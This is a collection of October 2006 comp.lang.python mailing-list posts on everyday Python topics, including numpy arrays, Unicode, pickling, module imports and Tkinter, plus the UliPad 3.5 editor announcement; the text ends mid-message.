+0200 Subject: where is Python tutorial? Message-ID: <857993970610150343n3c10c0a3pee0f9f7b9fa83c43@mail.gmail.com> Hi, I looked in the packages list and couldn't find the tutorial and was wondering if it was removed from the archive. Was it? From martin at v.loewis.de Thu Oct 12 15:18:51 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 12 Oct 2006 21:18:51 +0200 Subject: Compile python on Solaris 64bit In-Reply-To: References: Message-ID: <452e951b$0$6364$9b622d9e@news.freenet.de> Martijn de Munnik schrieb: > anybody succesfully compiled python on solaris? If that's really all you want to know: yes, I did. It works for me on 32-bit SPARC, and 64-bit SPARC. If you want to know more, you have to be *a lot* more precise as to what precisely you are trying to achieve, and how precisely it fails. E.g. - what Python version? - what compiler? If gcc, what precise release? - are you attempting to produce 32-bit binaries or 64-bit binaries? Regards, Martin From fredrik at pythonware.com Mon Oct 23 06:05:20 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 12:05:20 +0200 Subject: is it a bug ? In-Reply-To: References: Message-ID: Sylvain Ferriol wrote: > i just want a class variable named 'eq' so why are you assigning another class' descriptor to it? descriptors are bound to types, and only works properly if used with the type they were created for. > why i can not create some class variables like this ? > > class toto(object): > a= float.__eq__ > b= str.__eq__ but given that "toto" is neither a float nor a str, what do you expect that code to *do*? is this some "programming by random mutation" exercise? From fredrik at pythonware.com Sun Oct 8 14:46:24 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 20:46:24 +0200 Subject: references and buffer() In-Reply-To: References: Message-ID: km wrote: > > Hi all, > > was looking at references in python... > >>> a = 10 > >>> b = a > >>> id(a) > 153918788 > >>>id(b) > 153918788 > > where a and b point to the same id. now is this id an address ? no, it's the object identity, and all it tells you is that both names point to the same object. > can one dereference a value based on address alone in python? no. > is id similar to the address of a variable or a class ? in the CPython implementation, it's the address where the object is stored. but that's an implementation detail. From oliphant.travis at ieee.org Tue Oct 31 07:48:25 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Tue, 31 Oct 2006 05:48:25 -0700 Subject: concatenating numpy arrays In-Reply-To: <45473c28$1@news.fhg.de> References: <45473c28$1@news.fhg.de> Message-ID: Rolf Wester wrote: > Hi, > > I want to concatenate two numpy arrays with shape (n1,n2) and (n1,n3) > into a single array with shape (n1,n2+n3). I guess there is an elegant > way to do this but I couldn't figure it out. So any help is very much > appreciated. > Suppose a1.shape is (n1,n2) and a2.shape is (n1,n3) Then you want to do a3 = concatenate((a1,a2),axis=1) or equivalently a3 = hstack([a1,a2]) a3 = r_['1',a1,a2] -Travis From beliavsky at aol.com Mon Oct 16 08:29:23 2006 From: beliavsky at aol.com (beliavsky at aol.com) Date: 16 Oct 2006 05:29:23 -0700 Subject: EXCITING OPPORTUNITY FOR EXPERIENCED APPLICATION DEVELOPERS (PYTHON) References: <1160995149.842439.317990@m7g2000cwm.googlegroups.com> Message-ID: <1161001763.832804.277880@f16g2000cwb.googlegroups.com> If the company is so good, why does it hire recruiters like you? It is rude to SHOUT your subject in all caps. Your subject conveys nothing more than "Python job offered". You should have mentioned in the subject that the job is in Hyderabad, because even most readers of this group looking for jobs are probably unwilling to relocate there, and thus they could skip the rest of the message. From gerold.penz at tirol.utanet.at Thu Oct 5 02:41:03 2006 From: gerold.penz at tirol.utanet.at (Gerold Penz) Date: Thu, 05 Oct 2006 08:41:03 +0200 Subject: CGI Tutorial In-Reply-To: <1159990808.443737.85880@i3g2000cwc.googlegroups.com> References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1159990808.443737.85880@i3g2000cwc.googlegroups.com> Message-ID: Clodoaldo Pinto Neto schrieb: > > http://webpython.codepoint.net > Great tutorial -- Thanks a lot!!! :D -- ________________________________________________________________________ Gerold Penz - bcom - Programmierung gerold.penz at tirol.utanet.at | http://gerold.bcom.at | http://sw3.at Ehrliche, herzliche Begeisterung ist einer der wirksamsten Erfolgsfaktoren. Dale Carnegie From jcoleman at franciscan.edu Wed Oct 25 15:35:34 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 25 Oct 2006 12:35:34 -0700 Subject: question about True values In-Reply-To: <7xvem8gq22.fsf@ruckus.brouhaha.com> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> Message-ID: <1161804934.010376.151330@f16g2000cwb.googlegroups.com> Paul Rubin wrote: > "John Coleman" writes: > > > then "x == 3" is false, but "int(x) == 3" is true. > > But then why is 3.0 == 3 true? They are different types. > > The 3 gets converted to float, like when you say > > x = 3.1 + 3 > > the result is 6.1. Yes - it just seems that there isn't a principled reason for implicitly converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to boolean in "cat" == true. There is something to be said about SML's rigourous approach where 3.0 = 3 isn't even allowed since it is considered ill-typed. Nevertheless, it is doubtlessly convientent to be able to compare integers and doubles directly in the natural way and there is little practical reason to compare a string with a truth value so Python's solution does have common sense on its side. From sjmachin at lexicon.net Mon Oct 9 05:54:14 2006 From: sjmachin at lexicon.net (John Machin) Date: 9 Oct 2006 02:54:14 -0700 Subject: can compile function have a bug? In-Reply-To: References: <1160274901.447221.45720@e3g2000cwe.googlegroups.com> Message-ID: <1160387654.232351.238200@i42g2000cwa.googlegroups.com> Peter Otten wrote: > ygao wrote: > > >>>> compile('U"?"','c:/test','single') > > > >>>> d=compile('U"?"','c:/test','single') > >>>> d > > > >>>> exec(d) > > u'\xd6\xd0' > >>>> U"?" > > u'\u4e2d' > >>>> > > > > why is the result different? > > a bug or another reason? > > How that particular output came to be I don't know, but you should be able > to avoid the confusion by either passing a unicode string to compile() or > specifying the encoding: > > >>> exec compile(u'u"?"','c:/test','single') > u'\u4e2d' > >>> exec compile('# -*- coding: utf8 -*-\nu"?"','c:/test','single') > u'\u4e2d' > > Peter > > PS: In and all-UTF-8 environment I would have /expected/ to see > > >>> your_encoding = "utf8" > >>> identity = "latin1" > >>> u'\u4e2d'.encode(your_encoding).decode(identity) > u'\xe4\xb8\xad' > > and that's indeed what I get over here: > > >>> exec compile('u"?"','c:/test','single') > u'\xe4\xb8\xad' But it's not an all-UTF-8 environment; his_encoding = 'gb2312' or one of its heirs/successors :-) Cheers, John From larry.bates at websafe.com Fri Oct 20 13:05:02 2006 From: larry.bates at websafe.com (Larry Bates) Date: Fri, 20 Oct 2006 12:05:02 -0500 Subject: FTP over SSL In-Reply-To: References: Message-ID: Tor Erik Soenvisen wrote: > Hi, > > Anyone know about existing code supporting FTP over SSL? > I guess pycurl http://pycurl.sourceforge.net/ could be used, but that > requires knowledge of libcurl, which I haven't. > > regards I don't know if it helps at all, but you can do https put of a file over SSL to server and/or you can use Webdav (if DAV server is available on target server) to copy files as well. -Larry From steve at REMOVE.THIS.cybersource.com.au Tue Oct 31 06:23:15 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Tue, 31 Oct 2006 22:23:15 +1100 Subject: How can I import a script with an arbitrary name ? References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: On Tue, 31 Oct 2006 11:00:52 +1100, Ben Finney wrote: > If you want a solution that gives you an actual module object, here's > what I use: > > def make_module_from_file(module_name, file_name): > """ Make a new module object from the code in specified file """ > > from types import ModuleType > module = ModuleType(module_name) > > module_file = open(file_name, 'r') > exec module_file in module.__dict__ > > return module Isn't that awfully complicated? What's wrong with using __import__ to get a module object? >>> mod = __import__("math") >>> mod The only advantage (or maybe it is a disadvantage?) I can see to your function is that it doesn't search the Python path and you can specify an absolute file name. -- Steven. From apardon at forel.vub.ac.be Tue Oct 10 07:07:15 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 10 Oct 2006 11:07:15 GMT Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> <452820C1.5020607@tim.thechases.com> <20061010114945.GA4478@dagan.sigpipe.cz> <7xslhwh2fz.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-10, Paul Rubin wrote: > "Fredrik Lundh" writes: >> or for the perhaps-overly-clever hackers, >> >> for x in iter(lambda: foo() or None, None): >> process(x) > > for x in takewhile(foo() for _ in repeat(None)): > process (x) >>> for x in takewhile(foo() for _ in repeat(None)): ... print x ... Traceback (most recent call last): File "", line 1, in ? TypeError: takewhile expected 2 arguments, got 1 From gmarkowsky at gmail.com Fri Oct 27 12:22:00 2006 From: gmarkowsky at gmail.com (gmarkowsky at gmail.com) Date: 27 Oct 2006 09:22:00 -0700 Subject: importing class Message-ID: <1161966120.828597.57280@b28g2000cwb.googlegroups.com> Hi all, I'm trying to import a class from a module. The class looks like this: class App: def __init__(self, master): frame = Frame(master) frame.pack() self.button = Button(frame, text=text_1, command= self.comm_1) self.button.pack(side=LEFT) self.hi_there = Button(frame, text=text_2, command=self.comm_2) self.hi_there.pack(side=LEFT) def comm_1(self): command1() root.quit() def comm_2(self): command2() root.quit() It's supposed to just make a Tkinter window with two choices. The problem is that when I import it from a module, I get the following error: NameError: global name 'Frame' is not defined But when I copy and paste it into the file, it works. Can anyone tell me what's wrong? Greg From jstroud at mbi.ucla.edu Mon Oct 2 18:02:02 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Mon, 02 Oct 2006 22:02:02 GMT Subject: Need help with an array problem. In-Reply-To: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> Message-ID: SpreadTooThin wrote: > Basically I think the problem is in converting from a 32 bit integer to > a 16 bit integer. > > I have two arrays: > import array > > a = array.array('L', [65537]) > b = array.array('H', [0]) > > b[0] = a[0] > > Which gives an overflow message.... > So can't I truncate the long by discaring the upper bits .. > Like b[0] = 0x0000FFFF & a[0] > > How does one normally cast an object from long to short? Take the modulo 65536? py> array.array('H', (array.array('L', [65537%65536]))) array('H', [1]) James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From limodou at gmail.com Thu Oct 26 23:51:53 2006 From: limodou at gmail.com (limodou) Date: Fri, 27 Oct 2006 11:51:53 +0800 Subject: Fwd: How to Split Chinese Character with backslash representation? In-Reply-To: <505f13c0610262051t30c3cf29vaf73f3b43343411@mail.gmail.com> References: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net> <505f13c0610262051t30c3cf29vaf73f3b43343411@mail.gmail.com> Message-ID: <505f13c0610262051w3ec950dci158bad583d1752ce@mail.gmail.com> ---------- Forwarded message ---------- From: limodou Date: Oct 27, 2006 11:51 AM Subject: Re: How to Split Chinese Character with backslash representation? To: Wijaya Edward On 10/27/06, Wijaya Edward wrote: > > Hi all, > > I was trying to split a string that > represent chinese characters below: > > > >>> str = '\xc5\xeb\xc7\xd5\xbc' > >>> print str2, > ??? > >>> fields2 = split(r'\\',str) > >>> print fields2, > ['\xc5\xeb\xc7\xd5\xbc'] > > But why the split function here doesn't seem > to do the job for obtaining the desired result: > > ['\xc5','\xeb','\xc7','\xd5','\xbc'] > \xXX just internal representation of None ASCII, I guess above string is encoded with local locale, maybe gbk. You can get the bytes list through: str = '\xc5\xeb\xc7\xd5\xbc' list(str) And string is just a list of characters. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From mdsteele at gmail.com Fri Oct 20 18:43:21 2006 From: mdsteele at gmail.com (mdsteele at gmail.com) Date: 20 Oct 2006 15:43:21 -0700 Subject: Why can't you pickle instancemethods? References: <1161380004.714778.152080@m7g2000cwm.googlegroups.com> Message-ID: <1161384201.118969.191540@k70g2000cwa.googlegroups.com> Chris wrote: > Why can pickle serialize references to functions, but not methods? > > Pickling a function serializes the function name, but pickling a > staticmethod, classmethod, or instancemethod generates an error. In > these cases, pickle knows the instance or class, and the method, so > what's the problem? Pickle doesn't serialize code objects, so why can't > it serialize the name as it does for functions? Is this one of those > features that's feasible, but not useful, so no one's ever gotten > around to implementing it? I have often wondered this myself. I'm convinced that it would in fact be useful -- more than once I've written a program that has lots of objects with function pointers, and where it was inconvenient that the method pointers could not be pickled. One compromise that I have used before is to write a class such as: class InstanceMethodSet(object): def __init__(self,methods): self.methods = set(methods) def __getstate__(self): return [(method.im_self, method.im_func.func_name) for method in self.method] def __setstate__(self,state): self.methods = set(getattr(obj,name) for obj,name in state) Obviously, this particular example is crude and not terribly robust, but it seems to do the job -- it effectively lets you pickle a set of instance method pointers. I don't know of any reason why instance methods (or class or static methods) couldn't be pickled directly, unless perhaps there exists some kind of pathological corner case that would create Badness? -Matt From deets at nospam.web.de Mon Oct 23 10:06:54 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Mon, 23 Oct 2006 16:06:54 +0200 Subject: Script to count files in a folder References: <1161608629.259769.88490@b28g2000cwb.googlegroups.com> <1161609961.966357.281860@m7g2000cwm.googlegroups.com> Message-ID: <4q40juFldi9kU1@uni-berlin.de> umut.tabak at student.kuleuven.be wrote: > > > On Oct 23, 3:11 pm, "Fredrik Lundh" wrote: >> umut.ta... at student.kuleuven.be wrote: >> > A batch file creates this file and deletes that file in the same loop. >> > This file is intended to start the reading of an input file. After it >> > is read batch file deletes this file automatically and on the next loop >> > it will be written and deleted again. With this script I have to count >> > the occurences of the file on this specific folder.what does "count" >> > mean here? >> >> do you want to check if the file is there, or how many times a file with >> that name has been created ? > > Yes I would like to check how many times that specific file is created. > so count is the number of times of creation. As Fredrik said - not really possible, at least not with standard python. For Linux, you might be lucky using the python LUFS module: http://www.freenet.org.nz/python/lufs-python/ But you being a beginner, I guess that is a bit over your head. Trying to change the behaviour of the batch skript, writing out the information you need is the more reasonable approach. Diez From DonQuixoteVonLaMancha at gmx.net Wed Oct 18 17:42:15 2006 From: DonQuixoteVonLaMancha at gmx.net (Karsten W.) Date: 18 Oct 2006 14:42:15 -0700 Subject: Reading a Microsoft access file. In-Reply-To: References: Message-ID: <1161207735.395919.186560@i3g2000cwc.googlegroups.com> You could access the file via the odbc interface. There is a module odbc which comes with the windows package, iirc. Regards, Karsten. infotechsys at pivot.net wrote: > I googled for the answer but all the answer seem to imply that you > have to have Access installed on your system. I have a file that was > created using Access and I want develop a Python script to > read the file and produce a report. Can this be done, if could you point > me to some doc? > Thanks. > Wayne From steve at holdenweb.com Tue Oct 10 09:59:06 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 14:59:06 +0100 Subject: Using the imp module In-Reply-To: <1160487276.256447.187000@i42g2000cwa.googlegroups.com> References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com> Message-ID: Claus Tondering wrote: > I understand that you can use the imp module to programmatically mimic > the "import xyzzy" statement. > > But is there any way to programmatically mimic the "from xyzzy import > *" statment? > See the docs for __import__(). I think imp is pretty much dead nowadays. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From nairarunv at gmail.com Thu Oct 26 05:27:16 2006 From: nairarunv at gmail.com (Arun Nair) Date: 26 Oct 2006 02:27:16 -0700 Subject: Cards deck problem Message-ID: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> Can any one help me with this im not getting it even after reading books because there is not much of discussion anywhere a> Implement a calss that represents a playing card. The class should implement the following methods: _ _ init _ _ (self, rank, suit) Creates a card. rank is an integer in range of 1 to 13 (Ace:1, King 13), suit is a character in set {'h','d','c','s'} getRank(self) Returns the rank of the card getSuit(self) Returns the suit of the card BJValue(self) Returns the 'Blackjack Value' of the card (Ace:1, Face card:10) _ _ str _ _ (self) Returns a string naming the card. For example: 'Ace of Spades' Test your class by writing a 'test harness' that generates 'n' randomly generated cards, where 'n' is supplied by the user. Print out the string associated with each card and it's 'Blackjack value' b> Extend the card class to display in a graphics window. the new class should support the following method: draw(self, win, center) Draws a card in a window. Use the extended class to display a hand of five random cards. c> Write a program that creates a list of card objects as above and print out the cards grouped by suit and in rank order in each suit. the program should read the values for the list of cards from a file, where each line in the file specifies a single card with the rank and then the suit separated by a space. Hint: sort the list first by rank, and then by suit. d> Create a new class deck that represents a pack of 52 cards. Which supports the following methods: _ _init_ _ (self) - Creates a deck of cards in standard order. shuffle(self) - Randomizes the order of the cards dealCard(self) - Returns a single card from the top of the deck, and removes the card from the deck. cardsLeft(self) - Returns the number of cards left in the deck. Test your class by having it deal out a sequence of 'n' cards where 'n' is a number input by the user. The program should either print out the cards, or display them in a window. Your urgent and quick reply help will be appreciated the most. Arun Nair From icetortoise at gmail.com Mon Oct 16 21:28:23 2006 From: icetortoise at gmail.com (Andy) Date: 16 Oct 2006 18:28:23 -0700 Subject: command text parsing and hints displaying on user input. In-Reply-To: <1160983157.270102.68630@m73g2000cwd.googlegroups.com> References: <1160983157.270102.68630@m73g2000cwd.googlegroups.com> Message-ID: <1161048503.154706.166430@i3g2000cwc.googlegroups.com> Anybody have an idea on this?? Does Natural Language Processing help in this case? From vatamane at gmail.com Tue Oct 10 04:05:16 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 10 Oct 2006 01:05:16 -0700 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> Message-ID: <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Edward Diener No Spam wrote: > Michael wrote: > > Edward Diener No Spam wrote: > > > >> Has there ever been, or is there presently anybody, in the Python > >> developer community who sees the same need and is working toward that > >> goal of a common component model in Python, blessed and encouraged by > >> those who maintain the Python language and standard modules themselves ? > > > > Someone aiming towards a standard to /replace/ everyone else's? That > > presupposes a level of arrogance that seems unusual in the python world. > > (whilst everyone's proud of their own code and they _generally_ respect > > other people's even if it's not their cup of tea). > > The reason I would like to see a standard component model for Python is > so 3rd party developers could create their classes to conform to this > model and work in any RAD IDE environment which adapts it. That's the > way JavaBeans work, that the way Borland's VCL component model works, > and that's the way .Net works. When there are many different component > models, the 3rd party developer must adapt their components to each > model for a particular environment. > > But far be it from me to want to replace everybody else's model . > > By your reasoning above, standardizing anything in software is an > arrogant proposition. Whereas I look at standardization, when it is well > done, as a boon to programmers. > > > > > The WSGI standard could be a form of component model, and has gone through > > the PEP process so that might match your criterion. > > I do not know what it is but I will look it up. > > > As for component > > models, they do exist. > > > > Our component model on the Kamaelia project [1] is one that's heavily > > designed around the idea of composition and independent execution of > > components and message passing (message passing maps to events for some > > sorts of message), > > [1] http://kamaelia.sourceforge.net/Home > > I will look at kamaelia. Thanks ! > > > > > I wouldn't think of proposing it as the single standard to rule them all > > though, for the simple reason every approach has its own strengths. (We do > > find the approach extremely useful though) > > > > If you want a quick example of the core ideas, a tutorial aimed around > > building a massively simplified core is here: > > http://kamaelia.sourceforge.net/MiniAxon/ > > > > If you want to see a substantial example, you can look here: > > * http://tinyurl.com/oqjfb - whiteboarding with audio where every client > > is a server. The entire resulting system is also a component. > > > > For something more simplistic: > > * http://kamaelia.sourceforge.net/Examples/SimplestPresentationTool.html > > > > Something halfway in terms of complexity (a PVR for transcoding everything > > broadcast on digital TV): > > * http://tinyurl.com/lvygq > > (OK, you need to add more channels, but you'd need more CPU's too) > > > > We also have tools for introspecting a running system, and also a visual > > composition tool (called Compose) [2] for creating simple systems > > graphically, and that, as you say, handles a significant chunk of > > dreariness. Suggestions on improving the model and composition tool are > > very welcome, code is even more welcome :) > > > > [2] Sample system created with the newest version of Compose: > > http://tinyurl.com/numwk > > Compose is also a Kamaelia system, and can be found here: > > http://tinyurl.com/p7z76 > > (bulk of the wiring up is in the bottom of the file - this is an > > interesting example because of the use of Pygame and Tk for different > > parts of the interface where appropriate) > > > > > > However, off the top of my head, you should also look at Zope's component > > model, Trac's component model, Twisted's model & PEAK, and any proposal > > to say "this is the solution", needs to be compelling for all of these > > projects. > > A standard component model could be used as a base for other more > advanced needs. Most of those mentioned above seem to involve web > application frameworks whereas my idea of a component model just assumes > the paradigms of properties, methods, and events which may allow > re-usable components at a base level in any environment. > > A particular implementation is certainly allowed to build a more > complicated idea of a component, through inheritance, from a base level > component, and this is in fact the way that most components work in > current component model environments I have mentioned. For instance in > .Net a control is a component with other added qualities. So while one > could build components which are not controls, it is necessary to add > functionality to the base level idea of a component in order to create a > control. > > > > > Note, they do change where there's a benefit - twisted adopted some > > interesting ideas from Zope for example - however the onus on showing the > > benefit is on you. (Which if you can do, would be welcome I would expect) > > One thing that would probably be very useful would be to identify a way the > > various models these projects use can be made to interact better. > > > > The reason I mention //our// model is because we're finding it useful, and > > has visual composition, introspection and components have a rich amount of > > meta data associated with them, this may or may not fit your criterion. > > > > One of the most "bling" examples we've got right now though (which I > > mentioned mainly because it does show reuse up quite nicely) is where we > > play Dirac encoded video back onto a pygame surface and then render that > > onto a texture that's on a plane spinning in 3D (in realtime): > > * Code: http://tinyurl.com/oynxv > > * Screenshot: http://kamaelia.sourceforge.net/t/Dirac3D.png > > > > I've uploaded a collection of other screenshots of various kamaelia related > > things here: > > * http://kamaelia.sourceforge.net/screenshots/ > > > > You may find the following interesting: > > * http://kamaelia.sourceforge.net/screenshots/Compose.png > > * http://kamaelia.sourceforge.net/screenshots/KamaeliaOpenGL.png (example > > of putting components in places they don't realise) > > * http://kamaelia.sourceforge.net/screenshots/AxonVisualiser.png > > Thanks for all the link regarding kamaelia. Python does not _need_ a component model just as you don't _need_ a RAD IDE tool to write Python code. The reason for having a component model or a RAD IDE tool is to avoid writing a lot of boiler plate code. Python is terse enough that boiler plate code is not needed, just type what you need into an editor. It seems that you talk about Python but you are still thinking in Java or C++. At the same time one could claim that Python already has certain policies that makes it seem as if it has a component model. Take a look at the "magic methods". For example if a class has a __len__ method, it is possible to use the len() function on an instance of that class. If a class has the __getitem__ then indexing can be used on that class's insance. Then Python has properties (see http://www.python.org/doc/2.2.3/whatsnew/sect-rellinks.html). Just by inspecting the object one can tell a great deal about them (even read the documentation if needed, by using the __doc__ attribute). What other standards would you propose for the core language? From fakeaddress at nowhere.org Mon Oct 2 23:35:59 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Tue, 03 Oct 2006 03:35:59 GMT Subject: Determin network interface In-Reply-To: <1159828540.208599.187310@m73g2000cwd.googlegroups.com> References: <1159828540.208599.187310@m73g2000cwd.googlegroups.com> Message-ID: jakobsg at gmail.com wrote: > Hi. How can I determin the hwaddr or ipaddress of the networkinterface > that is used in an outgoing connection? Is sock_object.getsockname() enough? http://docs.python.org/lib/socket-objects.html -- --Bryan From _karlo_ at _mosor.net_ Fri Oct 20 22:51:47 2006 From: _karlo_ at _mosor.net_ (Karlo Lozovina) Date: Sat, 21 Oct 2006 02:51:47 +0000 (UTC) Subject: SQLAlchemy and py2exe Message-ID: I've installed SQLAlchemy under Windows (strangely, it didn't install inside ../site-packages/ as a directory, but rather as a SQLAlchemy-0.2.8-py2.4.egg file). I can import it with 'import sqlalchemy' and run my program with WingIDE, SPE and ofcourse in plain old Python shell (ipython actually). But when I build my .exe using py2exe and run the executable, it fails with 'Cannot import module sqlalchemy' error. Is it because SA is installed inside a .egg file, and can I somehow force it to install like all the other packages? Thanks guys... -- _______ Karlo Lozovina - Mosor | | |.-----.-----. web: http://www.mosor.net || ICQ#: 10667163 | || _ | _ | Parce mihi domine quia Dalmata sum. |__|_|__||_____|_____| From gagsl-py at yahoo.com.ar Thu Oct 5 03:40:56 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 05 Oct 2006 04:40:56 -0300 Subject: Assertion in Python In-Reply-To: <1160032169.115098.213000@i42g2000cwa.googlegroups.com> References: <1160032169.115098.213000@i42g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061005042311.03a920b0@yahoo.com.ar> At Thursday 5/10/2006 04:09, vmalhotra wrote: >Now the problem which i am facing is how to do assertion from that >output. e.g output is something like this > >eth0 is up > OSPF not enabled on this interface >eth1 is up > Internet Address 192.168.1.2/24, Area 0.0.0.0 > Router ID 192.168.1.2, Network Type BROADCAST, Cost: 10 > Transmit Delay is 1 sec, State DR, Priority 1 > Designated Router (ID) 192.168.1.2, Interface Address 192.168.1.2 > No backup designated router on this network > Timer intervals configured, Hello 10, Dead 40, Wait 40, Retransmit 5 > Hello due in 00:00:00 > Neighbor Count is 0, Adjacent neighbor count is 0 >eth2 is up > OSPF not enabled on this interface >eth3 is down > OSPF not enabled on this interface >lo is up > OSPF not enabled on this interface >sit0 is down > OSPF not enabled on this interface > >In this i want to check Designated Router (ID) 192.168.1.2. This is the idea (assuming you have already read and split the output on lines): for line in output: line = line.strip() if line.startswith('Designated Router (ID)'): ipReadStr = line[line.find('(ID)')+4:] # just before the IP starts ipReadStr = ipReadStr.split(',',1)[0].strip() # up to the next "," assertEqual(ipReadStr, ipExpected) break else: fail('"Designated Router (ID)" not found') Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From limodou at gmail.com Tue Oct 24 01:26:45 2006 From: limodou at gmail.com (limodou) Date: Tue, 24 Oct 2006 13:26:45 +0800 Subject: [ANN]UliPad 3.5 released Message-ID: <505f13c0610232226w1de37d45s1b3c4d8d2df784ac@mail.gmail.com> What's it? ======== It's an Editor based on wxPython. NewEdit is the old name, and UliPad is the new name. UliPad uses Mixin and Plugin technique as its architecture. Most of its classes can be extended via mixin and plugin components, and finally become an integrity class at creating the instance. So UliPad is very dynamic. You can write the new features in new files, and hardly need to modify the existing code. And if you want to extend the existing classes, you could write mixins and plugins, and this will be bound to the target class that I call "Slot Class". This technique will make the changes centralized and easily managed. What's new in 3.5 ============== New features and improvement: #. Add not automatically clear content of Message window, and add Shift+F5 shortcut #. Use FlatNotebook instead of Notebook #. Add spell checking plugin, and you should install pyEnchant module #. Auto save side pane size #. Auto maximize when double-click on tab of notebook, only 50% for side pane #. Improve acp format, and you can use {#text#} represent selected text #. Add support for creating ePyDoc comment to function definition #. Add personal info management, only user name for now #. Add session management #. Add live regular expression searching, you can type regex dynamically and watch the result immediately #. Add CloseOther plugin, thanks for nmweizi, and it can keep current document but close all others documents #. Add smart navigation, and it can remember the path of files visited #. Improve Ctrl+B to jump to last modified position #. Add a checkbox for reStructuredText Html view window, and it can used for stop automatically refresh the html content as you changing the ReST file #. Auto close syntax check window as there are no errors to current python file #. Auto support for dropping files and directories to directory window #. Dynamically popup menu creation of notebook #. Add open Dos window here for current document on popup menu of notebook, only works for windows now #. Add custom FlatButtons control written by myself, used in smart navigation #. Improve support for custom toolbar control in toolbar process #. Improve project process: refactor, adding and deleting config process #. Improve Chinese support in rerange.py script Changes: #. Remove the process for input assistant in OnKeyDown of editor, in order to simplify the process #. Fix don't check the syntax for python file as saving bug #. Fix can't search for document as opening it bug #. Fix incorrect enabled status for toolbar buttons bug #. Fix incorrect syntax highlight process bug #. Refactor and fix New... menuitem is not the same with toolbar menu bug #. Fix losing input focus after saving file bug #. Fix pressing Ctrl+F4 will quit UliPad bug #. Change recent files and recent path menu to popup menu, so it will speed opening file and saving file #. Fix the redirection process of executing python program, and add an option for showing parameter window on every running #. Fix the efficient of input assistant bug #. Change Ctrl+Enter to Shift+Enter Where to download it? ================ download lastest version 3.5: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=ulipad_3.5.zip also have windows installer: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad.3.5.exe wiki: http://wiki.woodpecker.org.cn/moin/UliPad svn: http://cvs.woodpecker.org.cn/svn/woodpecker/ulipad/trunk maillist: http://groups.google.com/group/ulipad If you have any problem as using UliPad, welcome to join the UliPad maillist to discuss. Hope you enjoy it. ;-) -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From ableofhighheart at gmail.com Fri Oct 6 17:38:53 2006 From: ableofhighheart at gmail.com (Doni Ocena) Date: 6 Oct 2006 14:38:53 -0700 Subject: kdb and python Message-ID: <1160170733.456830.196430@i42g2000cwa.googlegroups.com> Does anyone know where to find more material on kdb and python integration? I've only found this so far -> http://kx.com/a/k/connect/python/pyk-0.9/ Also, someone once mentioned python tunnelling in kdb but I couldn't find any reading material on it. -Doni -it never ends, ... , + it never ends From nitte.sudhir at gmail.com Tue Oct 17 14:10:16 2006 From: nitte.sudhir at gmail.com (kath) Date: 17 Oct 2006 11:10:16 -0700 Subject: what are XLRDError and CompDocError? Message-ID: <1161108616.614125.85120@i3g2000cwc.googlegroups.com> Hi, i am facing some problems with opening an excel file. I am using XLRD module. I am getting XLRDError: Can't find workbook in OLE2 compound document and CompDocError: Not a whole number of sectors exceptions in seperate try on different files. 1.Does any one know anout these exceptions? what is the cause? 2. what I should do to resolve these problems.? Thank you, regards, sudhir. From klingens at web.de Sun Oct 15 01:34:32 2006 From: klingens at web.de (Alexander Klingenstein) Date: Sun, 15 Oct 2006 07:34:32 +0200 Subject: .doc to html and pdf conversion with python Message-ID: <1041880050@web.de> > Is there some reason you really want to convert to PDF first? You can > get much better HTML right from the Word doc. You'll lose a lot of info > going from PDF to HTML. Right now, two reasons: Printing to PDF allows me to create the PDF "for the web" which means it has a much smaller filesize needed for downloading. Mainly accomplished with automatic image resizing. 2nd, htmltidy simply doesn't work for the files I get from Word HTML. I need it to work automagically without intervention and usable by not really PC literate people: D:\tmp\pdftohtml>tidy auberer.htm -o aub2.htm line 1 column 1 - Warning: missing declaration line 172 column 70 - Error: is not recognized! line 172 column 70 - Warning: discarding 